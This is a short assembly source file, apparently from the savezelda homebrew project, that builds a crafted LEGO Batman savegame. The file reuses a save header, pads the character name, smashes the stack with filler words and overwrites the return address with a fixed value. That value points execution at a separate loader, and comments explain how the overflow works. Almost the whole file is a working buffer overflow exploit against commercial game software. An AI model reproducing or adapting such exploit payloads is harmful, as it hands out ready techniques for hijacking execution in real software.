LEGO Batman^H^H^Hhaxx
[savezelda.git] / batman / head.s
1 # Copyright      2011  Bernhard Urban <lewurm@gmail.com>
2 # This code is licensed to you under the terms of the GNU GPL, version 2;
3 # see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
4
5         retadr = 0x90394140
6 0:
7         # stolen from some savegame found in teh intertube
8         .incbin "head.b"
9
10         # give the char a name
11         .ascii "you won't see this  " # len = 0x14
12
13         # smash it \o/ 0x1f0+0x4 bytes all in all...
14         .fill (0xf4/4), 4, 0x11111111
15
16         # unlock the character (somewhere here actually...)
17         .fill (0x10/4), 4, 0x90c10104
18
19         # add more padding...
20         .fill (0xdc/4), 4, 0x11111111
21
22         # now we at the actual vuln return address
23         # just point to the loader of the loader (= content of exploit.s)
24         .long retadr
25
26         # alternatively you can put the code here too and jump into the stack,
27         # however then you have to take care for nullbytes in the resulting
28         # bytecode, which is a way too tedious. so we just take the further slot for
29         # it :-) (LEGO devs are nice ppl, heh)
30
31         .fill 0x10000 - (. - 0b)